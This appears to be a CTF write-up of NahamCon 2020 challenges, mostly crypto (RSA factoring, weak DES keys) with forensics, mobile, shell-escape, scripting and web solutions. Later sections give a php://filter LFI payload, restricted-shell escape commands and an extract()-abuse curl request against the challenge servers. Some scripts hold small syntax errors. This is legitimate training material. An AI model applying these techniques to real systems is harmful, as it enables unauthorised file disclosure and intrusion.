this script is used for decrypting the cipher but it doesn't seem to work well:
it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:
## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:
we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:
now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:
I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:
and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:
## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:
**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:
it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:
## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:
this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:
**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:
so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:
after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:
and the file contains our flag:
## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:
## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:
## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...
...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:
## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:
seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):
## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:
I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:
## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
